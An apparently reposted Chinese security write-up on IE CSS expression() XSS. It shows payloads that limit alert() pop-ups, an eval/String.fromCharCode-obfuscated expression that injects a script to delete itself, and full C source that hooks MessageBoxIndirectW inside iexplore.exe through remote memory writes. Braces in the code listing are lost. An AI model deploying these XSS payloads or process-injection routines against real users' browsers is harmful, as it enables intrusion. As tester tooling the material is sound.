我和expression的日与被日 经典分析

页面导航:首页 > 网络编程 > 黑客相关 > 我和expression的日与被日 经典分析

我和expression的日与被日 经典分析

来源:互联网 作者:脚本宝典 时间:2015-06-20 13:23 【

当你第一次用expression方式来xss时,你肯定傻眼了,不停弹框,没法关闭浏览器,最终你只能祭出任务管理器将进程结束。也许你其他TAB页正有填到一半尚未提交的表单,你就这样被ex
当你第一次用expression方式来xss时,你肯定傻眼了,不停弹框,没法关闭浏览器,最终你只能祭出任务管理器将进程结束。也许你其他TAB页正有填到一半尚未提交的表单,你就这样被expression给日了,心里非常郁闷,于是就要想办法干它。 

很多人第一反应就是cookie,没错这是个好办法: 
<div style="width: expression(if(document.cookie.indexOf('xxxx')<0){alert(1);document.cookie='xxxx=1;'+document.cookie;})"></div> 
不过这样写有个问题,就是被攻击者浏览器只能执行一次你的alert,cookie的作用域大于一次页面执行,适合用来做跨页面的标识,而不是仅仅用来控制一个页面里的某段代码的执行次数,而且你测试起来也挺麻烦,弄得不好就要清cookie。 

循着这个思路很自然就会想到在页面里设置标识,于是就有了第二种方法: 
<div style="width: expression(if(!window.xxx){alert(1);window.xxx=1;})"></div> 
使用全局变量来做标识,使我的代码在这个页面级别只执行一次,这样是一个比较完美的办法,也是目前被使用的最多的办法。 

但是到这里总还觉得不爽,虽然我的alert只被执行了一次,但是判断代码还是在被不停的执行,我们还是在被它日,只不过感觉不出来而已了,我们的目标是日它,办法就是执行完我们的代码后删除这条expression,翻阅MSDN你很快能找到合适的方法: 

object.style.removeExpression(sPropertyName) 

看起来很美,可是你把这个语句放进expression内部用它来删除expression自身却怎么也不能成功,该死的alert还是会一遍遍的弹出来。使用setTimeout延迟执行?失败;使用execScript在全局执行?失败;结合setTimeout和execScript在延迟在全局执行?还是失败;在body尾部append一个外部script来执行?失败;在body尾部append一个外部script并且setTimeout 延迟并且execScript全局执行?草,终于tmd成功了: 
<!------1.htm------> 
<html> 
<style> 
body { 
width: expression(eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29,0x3B,0x69,0x66,0x28,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x29,0x7B,0x76,0x61,0x72,0x20,0x73,0x3D,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6C,0x65,0x6D,0x65,0x6E,0x74,0x28,0x22,0x73,0x63,0x72,0x69,0x70,0x74,0x22,0x29,0x3B,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x2E,0x61,0x70,0x70,0x65,0x6E,0x64,0x43,0x68,0x69,0x6C,0x64,0x28,0x73,0x29,0x3B,0x73,0x2E,0x73,0x72,0x63,0x3D,0x22,0x31,0x2E,0x6A,0x73,0x22,0x3B,0x7D))); 
/*alert(1);if(document.body){var s=document.createElement("script");document.body.appendChild(s);s.src="1.js";}*/ 

</style> 
<body> 
</body> 
</html> 
//--------1.js---------// 
setTimeout(function(){execScript("document.body.style.removeExpression(\"width\")");}, 0); 
可是还有那么一点不完美,就是无论怎么样,最少也要执行两次,不过我爽了,总算把这个expression给日了。当然如果你是个完美主义者,可以用这个方法结合if(!window.xxx)法。 

各位看官看到这里,可能已经严重怀疑我是被虐狂,这么多方法测试下来,我还不弹框框弹到崩溃?其实我并非浪得虚名,测之前早有准备,先厚者脸皮去幻影邮件列表跪求alert框框原理,没想到大家非常热情地给予帮助,最终zzzevazzz大侠最先找到实现API是MessageBoxIndirectW,从 win2k源代码中觅得。然后又花上半日工夫草成一个hook MessageBoxIndirectW的小工具,可惜又遇到个小问题至今没有解决,这个函数的参数是个MSGBOXPARAMS结构体: 
typedef struct { 
UINT cbSize; 
HWND hwndOwner; 
HINSTANCE hInstance; 
LPCTSTR lpszText; 
LPCTSTR lpszCaption; 
DWORD dwStyle; 
LPCTSTR lpszIcon; 
DWORD_PTR dwContextHelpId; 
MSGBOXCALLBACK lpfnMsgBoxCallback; 
DWORD dwLanguageId; 
} MSGBOXPARAMS, *PMSGBOXPARAMS; 
我写了个小程序测试发现只要把hwndOwner和dwStyle都置为0,这个对跨框就不是模态的,父窗口点关闭也可以关闭程序,我hook的目的也在于此,可是在IE里具体测试的时候,发现即使对话框不是模态的,我点关闭IE按钮也没法关闭IE窗口,所以这个方法只针对有TAB页的IE7有意义,对话框非模态后,我可以切换到其他TAB页去并关闭弹框的TAB页,但是对于IE6来说不能点关闭就没有意义,于是我干脆也不修改什么参数了,直接把这个函数返回掉了,代码在最后附上。 

至此,我和expression的恩怨总算可以告一段落,整个世界清静了。 
/* 
* FileName: IEAlertPatch.c 
* Version: 1.0 
* Contact: [email protected] 
* P.S: Thanks zzzEVAzzz, he found out the API that alert uses. 
*/ 
#include <Windows.h> 
#include <Tlhelp32.h> 
#include <Imagehlp.h> 

#pragma comment(lib, "advapi32.lib") 

// 
// function prototype 
// 
DWORD WINAPI GetProcessIdByName(LPCTSTR lpProcessName); 
__inline HookProc(); 
BOOL WINAPI HookAlert(DWORD pId); 
LPVOID GetSC(LPVOID lpProc, DWORD* dwLen, DWORD dwReserved); 

// 
// start of winmain 
// 
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow) 

DWORD pId; 
OSVERSIONINFOEX osvi; 
BOOL bRet; 
TCHAR procName[] = TEXT("iexplore.exe"); 

ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX)); 
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); 

// 
// Get system version 
// 
bRet = GetVersionEx((OSVERSIONINFO *)&osvi); 
if (! bRet) 

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 
bRet = GetVersionEx((OSVERSIONINFO *)&osvi); 
if (! bRet) 
goto FreeAndExit; 


// Verify if it is NT system 
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) 

pId = GetProcessIdByName(procName); 
if (pId != 0) 
HookAlert(pId); 


FreeAndExit: 
return 0; 


// 
// End of WinMain 
// 

// 
// @Name: GetProcessIdByName 
// @Author: luoluo 
// @Time: 2005-04-17 
// @Param: lpProcessName spacifies the ProcessName 
// @Ret: if success, return the process id 
// if failed, return 0 
// 
DWORD WINAPI GetProcessIdByName(LPCTSTR lpProcessName) 

HANDLE hSnapshot; 
DWORD dwRet = 0; 
LPPROCESSENTRY32 pPe32; 
BOOL bRet; 

// Get all the processes in the snapshot 
hSnapshot = CreateToolhelp32Snapshot(0x00000002, 0); 
if (hSnapshot == INVALID_HANDLE_VALUE) 

goto FreeAndExit; 


pPe32 = (LPPROCESSENTRY32)malloc(sizeof(PROCESSENTRY32)); 
ZeroMemory(pPe32, sizeof(PROCESSENTRY32)); 
pPe32->dwSize = sizeof(PROCESSENTRY32); 

// Get the first process 
bRet = Process32First(hSnapshot, pPe32); 
if (! bRet) 

goto FreeAndExit; 


if (stricmp(lpProcessName, pPe32->szExeFile) == 0) 

dwRet = pPe32->th32ProcessID; 
goto FreeAndExit; 


// Travesal the left processes 
while (TRUE) 

bRet = Process32Next(hSnapshot, pPe32); 
if (! bRet) 

goto FreeAndExit; 


if (stricmp(lpProcessName, pPe32->szExeFile) == 0) 

dwRet = pPe32->th32ProcessID; 
goto FreeAndExit; 



FreeAndExit: 
if (pPe32 != NULL) free(pPe32); 
if (hSnapshot != NULL) CloseHandle(hSnapshot); 

return dwRet; 


__inline __declspec(naked) HookProc() 

__asm 

leave 
retn 4 
/* 
push esi 
mov esi, [ebp+8h] 
mov dword ptr [esi+4h], 0h // modify the hwnd 
mov dword ptr [esi+14h], 0h // modify the type 
pop esi 
*/ 
_emit 90h 
_emit 90h 
_emit 90h 
_emit 90h 



LPVOID GetSC(LPVOID lpProc, DWORD* dwLen, DWORD dwReserved) 

LPVOID lpProc1 = NULL; 
LPVOID lpSC = NULL; 

__asm 

push ebx 
mov ebx, lpProc 
dec ebx 
_loop: 
inc ebx 
cmp dword ptr [ebx], 90909090h 
jne _loop 
mov lpProc1, ebx 
pop ebx 


*dwLen = (DWORD)lpProc1 - (DWORD)lpProc; 
lpSC = malloc(*dwLen + dwReserved); 
memset(lpSC, 0, *dwLen + dwReserved); 
memcpy(lpSC, lpProc, *dwLen); 
*dwLen += dwReserved; 

return lpSC; 


BOOL WINAPI HookAlert(DWORD pId) 

HMODULE hModule = NULL; 
DWORD dwMessageBoxIndirectW = 0; 
HANDLE hProcess; 
HANDLE hToken; 
TOKEN_PRIVILEGES tkp; 
BOOL bRet = FALSE; 
BOOL bRetVal; 
LPVOID lpCodeMemory; 
MEMORY_BASIC_INFORMATION mbi; 
SIZE_T szRet; 
DWORD dwOldProtect; 
DWORD dwJmpOffset = 0; 
unsigned char szJmpCode[5] = {0}; 
unsigned char szOldCode[5] = {0}; 
LPVOID lpHookCode = NULL; 
DWORD dwHookCodeLen = 0; 

hModule = LoadLibrary("user32.dll"); 
dwMessageBoxIndirectW = (DWORD)GetProcAddress(hModule, "MessageBoxIndirectW"); 

lpHookCode = GetSC(&HookProc, &dwHookCodeLen, 10); 
if (lpHookCode == NULL) 

goto FreeAndExit; 


// Open process token to ajust privileges 
bRetVal = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 

if (! bRetVal) 

goto FreeAndExit; 


// Get the LUID for debug privilege 
bRetVal = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); 

if (! bRetVal) 

goto FreeAndExit; 


tkp.PrivilegeCount = 1; 
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 

// Adjust token privileges 
bRetVal = AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(&tkp), (PTOKEN_PRIVILEGES)NULL, 0); 
if (! bRetVal) 

goto FreeAndExit; 


// Open remote process 
hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pId); 
if (hProcess == NULL) 

goto FreeAndExit; 


// Read 5 byte from function to be hooked 
bRetVal = ReadProcessMemory(hProcess, (LPCVOID)dwMessageBoxIndirectW, szOldCode, sizeof(szOldCode), NULL); 
if (! bRetVal) 

goto FreeAndExit; 


// Allocate memory from remote process 
lpCodeMemory = VirtualAllocEx(hProcess, NULL, dwHookCodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
if (lpCodeMemory == NULL) 

goto FreeAndExit; 


// Query the page information 
ZeroMemory(&mbi, sizeof(MEMORY_BASIC_INFORMATION)); 
szRet = VirtualQueryEx(hProcess, lpCodeMemory, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); 
if (szRet == 0) 

goto FreeAndExit; 


// Modify the page protection for write 
bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &mbi.Protect); 
if (! bRetVal) 

goto FreeAndExit; 


// the function has been hooked 
if (szOldCode[0] == ((unsigned char)'\xE9')) 

dwJmpOffset = (*((int*)(szOldCode + 1))) + dwMessageBoxIndirectW + 5 - ((DWORD)lpCodeMemory) - dwHookCodeLen + 5; 
memcpy(szOldCode + 1, (LPVOID)(&dwJmpOffset), 4); 


// debugger present and breakpoint here 
if (szOldCode[0] == '\xCC') 

goto FreeAndExit; 


// copy the start code of funciton hooked to the end of hook code 
memcpy((LPVOID)(((DWORD)lpHookCode) + dwHookCodeLen - 10), szOldCode, sizeof(szOldCode)); 

// code jmp back to function hooked 
memset((LPVOID)(((DWORD)lpHookCode) + dwHookCodeLen - 5), '\xE9', 1); 
dwJmpOffset = dwMessageBoxIndirectW - ((DWORD)lpCodeMemory) - dwHookCodeLen + 5; 
memcpy((LPVOID)(((DWORD)lpHookCode) + dwHookCodeLen - 4), (LPVOID)(&dwJmpOffset), 4); 

// Write my code to remote process memory 
bRetVal = WriteProcessMemory(hProcess, lpCodeMemory, lpHookCode, dwHookCodeLen, 0); 
if (! bRetVal) 

VirtualFreeEx(hProcess, lpCodeMemory, dwHookCodeLen, MEM_RELEASE); 
goto FreeAndExit; 


// Modify the page protection to protect 
bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect); 
if (! bRetVal) 

goto FreeAndExit; 


// hook code 
szJmpCode[0] = '\xE9'; // jmp 
dwJmpOffset = ((DWORD)lpCodeMemory) - dwMessageBoxIndirectW - 5; 
memcpy(szJmpCode + 1, (LPVOID)(&dwJmpOffset), 4); 

// Query the page information 
ZeroMemory(&mbi, sizeof(MEMORY_BASIC_INFORMATION)); 
szRet = VirtualQueryEx(hProcess, (LPVOID)dwMessageBoxIndirectW, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); 
if (szRet == 0) 

goto FreeAndExit; 


// Modify the page protection for write 
bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &mbi.Protect); 
if (! bRetVal) 

goto FreeAndExit; 


// Write hook code to the functon to be hooked 
bRetVal = WriteProcessMemory(hProcess, (LPVOID)dwMessageBoxIndirectW, szJmpCode, sizeof(szJmpCode), 0); 
if (! bRetVal) 

goto FreeAndExit; 


// Modify the page protection to protect 
bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect); 
if (! bRetVal) 

goto FreeAndExit; 


FreeAndExit: 
if (hProcess != NULL) 

CloseHandle(hProcess); 

if (hToken != NULL) 

CloseHandle(hToken); 

if (lpHookCode != NULL) 

free(lpHookCode); 
lpHookCode = NULL; 


return bRet; 
}  
Tags:

相关文章

    文章评论

    最 近 更 新
    热 点 排 行
    Js与CSS工具
    代码转换工具
    
    <